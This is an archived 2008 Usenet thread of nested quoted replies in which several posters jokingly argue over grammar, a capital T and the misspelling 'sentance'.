>Please note the capital T.

Yes Bill, that happens at the beginning of sentances. Just like mine
was :)

>Unlike some groups, you see, we here at AISE only have time to debate
>the important issues.
>
>BB


----== Posted via Newsfeeds.Com - Unlimited-Unrestricted-Secure Usenet News==----
http://www.newsfeeds.com The #1 Newsgroup Service in the World! 120,000+ Newsgroups
----= East and West-Coast Server Farms - Total Privacy via Encryption =----

chrisv
03-17-08, 07:32 AM
Dr.Hal0nf1r$ wrote:

>Isn't that a standard

*plonk*

Hadron
03-17-08, 07:55 AM
Paul <customerservices@houstoncrafts.com> writes:

> On Mon, 17 Mar 2008 06:39:42 GMT, Big Bill <bill@kruse.co.uk> wrote:
>
>>On Sun, 16 Mar 2008 23:07:06 +0000, Paul
>><customerservices@houstoncrafts.com> wrote:
>>
>>>On Sun, 16 Mar 2008 22:35:25 +0000, Jez <j.ez@virgin.net> wrote:
>>>
>>>>> That would "you're".
>>>>
>>>>The would "be" "you're"
>>>
>>>"that" would be you're.
>>>
>>
>>"That" would "be" "you're".
>>
>>Please note the capital T.
>
> Yes Bill, that happens at the beginning of sentances. Just like mine
> was :)
>

What's a "sentance"?

:-;

Jez
03-17-08, 08:43 AM
Hadron wrote:
> Paul <customerservices@houstoncrafts.com> writes:
>
>> On Mon, 17 Mar 2008 06:39:42 GMT, Big Bill <bill@kruse.co.uk> wrote:
>>
>>> On Sun, 16 Mar 2008 23:07:06 +0000, Paul
>>> <customerservices@houstoncrafts.com> wrote:
>>>
>>>> On Sun, 16 Mar 2008 22:35:25 +0000, Jez <j.ez@virgin.net> wrote:
>>>>
>>>>>> That would "you're".
>>>>> The would "be" "you're"
>>>> "that" would be you're.
>>>>
>>> "That" would "be" "you're".
>>>
>>> Please note the capital T.
>> Yes Bill, that happens at the beginning of sentances. Just like mine
>> was :)
>>
>
> What's a "sentance"?
>

You can generate a sentance here
http://www.antirom.com/sophie/html/minigen.html ;)

Paul
03-17-08, 11:18 AM
On Mon, 17 Mar 2008 13:55:11 +0100, Hadron
<hadronquark@googlemail.com> wrote:

>Paul <customerservices@houstoncrafts.com> writes:
>
>> On Mon, 17 Mar 2008 06:39:42 GMT, Big Bill <bill@kruse.co.uk> wrote:
>>
>>>On Sun, 16 Mar 2008 23:07:06 +0000, Paul
>>><customerservices@houstoncrafts.com> wrote:
>>>
>>>>On Sun, 16 Mar 2008 22:35:25 +0000, Jez <j.ez@virgin.net> wrote:
>>>>
>>>>>> That would "you're".
>>>>>
>>>>>The would "be" "you're"
>>>>
>>>>"that" would be you're.
>>>>
>>>
>>>"That" would "be" "you're".
>>>
>>>Please note the capital T.
>>
>> Yes Bill, that happens at the beginning of sentances. Just like mine
>> was :)
>>
>
>What's a "sentance"?

a typo :)

>:-;


----== Posted via Newsfeeds.Com - Unlimited-Unrestricted-Secure Usenet News==----
http://www.newsfeeds.com The #1 Newsgroup Service in the World! 120,000+ Newsgroups
----= East and West-Coast Server Farms - Total Privacy via Encryption =----

Jezsta Web Productions
03-17-08, 02:13 PM
"Paul" <customerservices@houstoncrafts.com> wrote in message
news:3cnst3lgs6inum9coqakodd1thk49t1qk6@4ax.com...
> On Mon, 17 Mar 2008 06:39:42 GMT, Big Bill <bill@kruse.co.uk> wrote:
>
>>On Sun, 16 Mar 2008 23:07:06 +0000, Paul
>><customerservices@houstoncrafts.com> wrote:
>>
>>>On Sun, 16 Mar 2008 22:35:25 +0000, Jez <j.ez@virgin.net> wrote:
>>>
>>>>> That would "you're".
>>>>
>>>>The would "be" "you're"
>>>
>>>"that" would be you're.
>>>
>>
>>"That" would "be" "you're".
>>
>>Please note the capital T.
>
> Yes Bill, that happens at the beginning of sentances. Just like mine
> was :)

<snip>

-"that" would be you're.-

Hmm, the above is what you wrote. I don't see a capital "T" at the beginning
of the "sentence".:-)

dick blisters
03-17-08, 04:17 PM
"Hadron" <hadronquark@googlemail.com> wrote in message
news:frlpnk$8fb$1@registered.motzarella.org...
> Paul <customerservices@houstoncrafts.com> writes:
>
>> On Mon, 17 Mar 2008 06:39:42 GMT, Big Bill <bill@kruse.co.uk> wrote:
>>
>>>On Sun, 16 Mar 2008 23:07:06 +0000, Paul
>>><customerservices@houstoncrafts.com> wrote:
>>>
>>>>On Sun, 16 Mar 2008 22:35:25 +0000, Jez <j.ez@virgin.net> wrote:
>>>>
>>>>>> That would "you're".
>>>>>
>>>>>The would "be" "you're"
>>>>
>>>>"that" would be you're.
>>>>
>>>
>>>"That" would "be" "you're".
>>>
>>>Please note the capital T.
>>
>> Yes Bill, that happens at the beginning of sentances. Just like mine
>> was :)
>>
>
> What's a "sentance"?
>
Anything more than time served.

cc
03-17-08, 05:43 PM
On Mar 17, 5:17*pm, "dick blisters" <dickblist...@telenut.net> wrote:
> "Hadron" <hadronqu...@googlemail.com> wrote in message
>
> news:frlpnk$8fb$1@registered.motzarella.org...
>
>
>
> > Paul <customerservi...@houstoncrafts.com> writes:
>
> >> On Mon, 17 Mar 2008 06:39:42 GMT, Big Bill <b...@kruse.co.uk> wrote:
>
> >>>On Sun, 16 Mar 2008 23:07:06 +0000, Paul
> >>><customerservi...@houstoncrafts.com> wrote:
>
> >>>>On Sun, 16 Mar 2008 22:35:25 +0000, Jez <j...@virgin.net> wrote:
>
> >>>>>> That would "you're".
>
> >>>>>The would "be" "you're"
>
> >>>>"that" would be you're.
>
> >>>"That" would "be" "you're".
>
> >>>Please note the capital T.
>
> >> Yes Bill, that happens at the beginning of sentances. Just like mine
> >> was :)
>
> > What's a "sentance"?
>
> Anything more than time served.

dick blisters...classy.